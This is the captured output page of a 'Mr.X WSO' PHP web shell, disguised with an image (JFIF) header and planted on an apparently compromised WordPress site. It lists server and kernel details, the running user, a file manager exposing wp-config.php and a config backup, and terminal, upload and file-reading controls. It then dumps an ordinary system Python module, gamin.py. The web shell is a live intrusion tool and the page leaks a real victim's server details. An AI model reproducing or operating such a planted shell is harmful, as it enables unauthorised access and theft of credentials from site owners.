����JFIF���������www.stoptube.com - WSOX ENC
Attention:
Uname:
Php:
Hdd:
Cwd:
Mr.X WSO Webshell! - Personal WEB SHELL Mr.X BYPASS! V2.5 Telegram: @jackleet
Linux msm5694.mjhst.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
5.3.29 Safe mode: OFF Datetime: 2026-04-09 06:02:36
1999.30 GB Free: 76.88 GB (3%)
/home/httpd/html/stoptube.com/ drwxr-xr-x [ root ] [ home ] Text

Server IP:
127.0.0.54
Client IP:
216.73.216.53
[ Files ][ Logout ]

File manager

NameSizeModifyPermissionsActions
[ . ]dir2020-10-29 21:25:34drwxr-xr-xRename Touch
[ .. ]dir2026-04-09 06:01:00drwxr-xr-xRename Touch
[ cgi-bin ]dir2012-04-08 21:15:31drwxr-xr-xRename Touch
[ public_html ]dir2023-11-10 01:29:28drwxr-xr-xRename Touch
[ stats ]dir2012-05-18 05:35:08drwxr-xr-xRename Touch
[ wp-admin ]dir2018-10-17 02:02:36drwxr-xr-xRename Touch
[ wp-content ]dir2026-04-09 05:34:38drwxrwxr-xRename Touch
[ wp-includes ]dir2018-10-17 02:02:35drwxrwxr-xRename Touch
[ wpbackup-mojo ]dir2013-09-23 12:20:27drwxr-xr-xRename Touch
120x240_2.gif13.45 KB2008-06-28 03:13:23-rw-r--r--Rename Touch Edit Download
120x240_4.gif11.19 KB2008-06-28 03:15:01-rw-r--r--Rename Touch Edit Download
google33e705b4a02b516c.html53 B2018-10-09 07:59:06-rw-r--r--Rename Touch Edit Download
google54c2bf32c9bf2083.html7 B2009-05-30 01:17:01-rw-r--r--Rename Touch Edit Download
grepsearch.php910 B2009-05-31 03:50:51-rw-r--r--Rename Touch Edit Download
index.php418 B2018-10-17 02:00:34-rw-r--r--Rename Touch Edit Download
license.txt19.47 KB2018-10-17 02:00:34-rw-r--r--Rename Touch Edit Download
readme.html7.24 KB2020-10-29 21:25:34-rw-r--r--Rename Touch Edit Download
robots.txt29 B2014-04-01 00:38:43-rw-r--r--Rename Touch Edit Download
scan_files.php3.34 KB2009-06-03 20:33:08-rw-r--r--Rename Touch Edit Download
wp-activate.php6.72 KB2018-12-13 02:57:59-rw-r--r--Rename Touch Edit Download
wp-atom.php226 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-blog-header.php364 B2018-10-17 02:02:31-rw-r--r--Rename Touch Edit Download
wp-comments-post.php1.84 KB2018-10-17 02:02:31-rw-r--r--Rename Touch Edit Download
wp-commentsrss2.php244 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-config-sample.php2.79 KB2018-10-17 02:02:31-rw-r--r--Rename Touch Edit Download
wp-config.php1.47 KB2018-10-04 12:51:18-rw-rw-r--Rename Touch Edit Download
wp-config.php_backup_ticket_5246641.30 KB2018-10-03 15:00:12-rw-r--r--Rename Touch Edit Download
wp-cron.php3.58 KB2018-10-17 02:02:31-rw-r--r--Rename Touch Edit Download
wp-feed.php246 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-links-opml.php2.37 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-load.php3.23 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-login.php36.92 KB2018-12-13 02:57:59-rw-r--r--Rename Touch Edit Download
wp-mail.php7.86 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-pass.php494 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-rdf.php224 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-register.php334 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-rss.php224 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-rss2.php226 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-settings.php15.87 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-signup.php29.39 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-trackback.php4.51 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wpupdate.sh12.75 KB2013-09-22 17:09:27-rw-r--r--Rename Touch Edit Download
xmlrpc.php2.99 KB2018-10-17 02:02:34----------Rename Touch Edit Download
 
Change dir:
Read file:
Make dir: (Not writable)
Make file: (Not writable)
Terminal:
Upload file: (Not writable)

HEX
HEX
Server: Apache
System: Linux msm5694.mjhst.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: camjab_ssh (1000)
PHP: 5.3.29
Disabled: NONE
Upload Files
File: //lib64/python2.7/site-packages/gamin.py
#!/usr/bin/python

import _gamin
import os.path

has_debug_api = 0
if _gamin.__dict__.has_key("MonitorDebug"):
    has_debug_api = 1
   
#
# the type of events provided in the callbacks.
#
GAMChanged=1
GAMDeleted=2
GAMStartExecuting=3
GAMStopExecuting=4
GAMCreated=5
GAMMoved=6
GAMAcknowledge=7
GAMExists=8
GAMEndExist=9

#
# The Gamin Errno values
GAM_OK =     0
GAM_ARG=     1 # Bad arguments
GAM_FILE=    2 # Bad filename
GAM_CONNECT= 3 # Connection failure
GAM_AUTH=    4 # Authentication failure
GAM_MEM=     5 # Memory allocation
GAM_UNIMPLEM=6 # Unimplemented
GAM_INTR=    7 # Interrupted system call

def GaminErrno():
    return _gamin.Errno()

def GaminErrmsg(err = None):
    if err == None:
	err = _gamin.Errno()
    if err == GAM_ARG:
        msg = "bad argument error"
    elif err == GAM_FILE:
        msg = "filename error"
    elif err == GAM_CONNECT:
        msg = "connection error"
    elif err == GAM_AUTH:
        msg = "authentication error"
    elif err == GAM_MEM:
        msg = "memory allocation error"
    elif err == GAM_UNIMPLEM:
        msg = "unimplemented part error"
    elif err == GAM_INTR:
        msg = "interrupted system call"
    else:
        msg = ""
    return msg

class GaminException(Exception):
    def __init__(self, value):
        Exception.__init__(self)
	self.value = value
	self.errno = GaminErrno()

    def __str__(self):
        str = GaminErrmsg(self.errno)
	if str != "":
            return repr(self.value) + ': ' + str
        return repr(self.value)

class WatchMonitor:
    """This is a wrapper for a FAM connection. It uses a single connection
       to the gamin server, over a socket. Use get_fd() to get the file
       descriptor which allows to plug it in an usual event loop. The
       watch_directory(), watch_file() and stop_watch() are direct mapping
       to the FAM API. The event raised are also a direct mapping of the
       FAM API events."""

    class WatchObject:
	def __init__ (self, monitor, mon_no, path, dir, callback, data=None):
	    self.monitor = monitor
	    self.callback = callback
	    self.data = data
	    self.path = path
	    self.__mon_no = mon_no
	    if dir == 1:
		ret = _gamin.MonitorDirectory(self.__mon_no, path, self);
		if ret < 0:
		    raise(GaminException("Failed to monitor directory %s" %
					 (path)))
	    elif dir == 0:
		ret = _gamin.MonitorFile(self.__mon_no, path, self);
		if ret < 0:
		    raise(GaminException("Failed to monitor file %s" %
					 (path)))
	    elif dir == -1:
		ret = _gamin.MonitorDebug(self.__mon_no, path, self);
		if ret < 0:
		    raise(GaminException("Failed to debug %s" %
					 (path)))
	    self.__req_no = ret

	def _internal_callback(self, path, event):
	    # it is very important here to catch all exception which may
	    # arise in the client callback code.
	    try:
		if self.data != None:
		    self.callback (path, event, self.data)
		else:
		    self.callback (path, event)
	    except:
		import traceback 
		traceback.print_exc()

	    if event == GAMAcknowledge:
	        try:
		    self.monitor.cancelled.remove(self)
		except:
		    print "gamin failed to remove from cancelled"
		    pass

	def cancel(self):
	    ret = _gamin.MonitorCancel(self.__mon_no, self.__req_no);
	    if ret < 0:
		raise(GaminException("Failed to stop monitor on %s" %
				     (self.path)))
	    try:
		self.monitor.cancelled.append(self)
	    except:
	        print "gamin cancel() failed to add to cancelled"

    def __init__ (self):
        self.__no = _gamin.MonitorConnect()
	if self.__no < 0:
	    raise(GaminException("Failed to connect to gam_server"))
	self.objects = {}
	self.__fd = _gamin.GetFd(self.__no)
	if self.__fd < 0:
	    _gamin.MonitorClose(self.__no)
	    raise(GaminException("Failed to get file descriptor"))
	self.cancelled = []

    def __del__ (self):
        self.disconnect()
    
    def __raise_disconnected():
	raise(GaminException("Already disconnected"))
        
    def _debug_object(self, value, callback, data = None):
        if has_debug_api == 0:
	    return;

        if (self.__no < 0):
	    self.__raise_disconnected();
        obj = self.WatchObject(self, self.__no, value, -1, callback, data)
	# persistency need to be insured
	self.objects["debug"] = obj
	return obj

    def disconnect(self):
        if (self.__no >= 0):
	    _gamin.MonitorClose(self.__no)
	self.__no = -1;

    def watch_directory(self, directory, callback, data = None):
        if (self.__no < 0):
	    self.__raise_disconnected();
        directory = os.path.abspath(directory)

        obj = self.WatchObject(self, self.__no, directory, 1, callback, data)
        if self.objects.has_key(directory):
	    self.objects[directory].append(obj)
	else:
	    self.objects[directory] = [obj]
	return obj

    def watch_file(self, file, callback, data = None):
        if (self.__no < 0):
	    self.__raise_disconnected();
        file = os.path.abspath(file)

        obj = self.WatchObject(self, self.__no, file, 0, callback, data)
        if self.objects.has_key(file):
	    self.objects[file].append(obj)
	else:
	    self.objects[file] = [obj]
	return obj

    def no_exists(self):
        if (self.__no < 0):
	    return
	ret = _gamin.MonitorNoExists(self.__no)
	return ret

    def stop_watch(self, path):
        if (self.__no < 0):
	    return
        path = os.path.abspath(path)
	try:
	    list = self.objects[path]
	except:
	    raise(GaminException("Resource %s is not monitored" % (path)))
	for obj in list:
	    obj.cancel()
	self.objects[path] = []
	
    def get_fd(self):
        if (self.__no < 0):
	    self.__raise_disconnected();
        return self.__fd

    def event_pending(self):
        if (self.__no < 0):
	    self.__raise_disconnected();
        ret = _gamin.EventPending(self.__no);
	if ret < 0:
	    raise(GaminException("Failed to check pending events"))
	return ret

    def handle_one_event(self):
        if (self.__no < 0):
	    self.__raise_disconnected();
        ret = _gamin.ProcessOneEvent(self.__no);
	if ret < 0:
	    raise(GaminException("Failed to process one event"))
	return ret

    def handle_events(self):
        if (self.__no < 0):
	    self.__raise_disconnected();
        ret = _gamin.ProcessEvents(self.__no);
	if ret < 0:
	    raise(GaminException("Failed to process events"))
	return ret

def run_unit_tests():
    def callback(path, event):
        print "Got callback: %s, %s" % (path, event)
    mon = WatchMonitor()
    print "watching current directory"
    mon.watch_directory(".", callback)
    import time
    time.sleep(1)
    print "fd: ", mon.get_fd()
    ret = mon.event_pending()
    print "pending: ", ret
    if ret > 0:
        ret = mon.handle_one_event()
	print "processed %d event" % (ret)
	ret = mon.handle_events()
	print "processed %d remaining events" % (ret)
    print "stop watching current directory"
    mon.stop_watch(".")
    print "disconnecting"
    del mon

if __name__ == '__main__':
    run_unit_tests()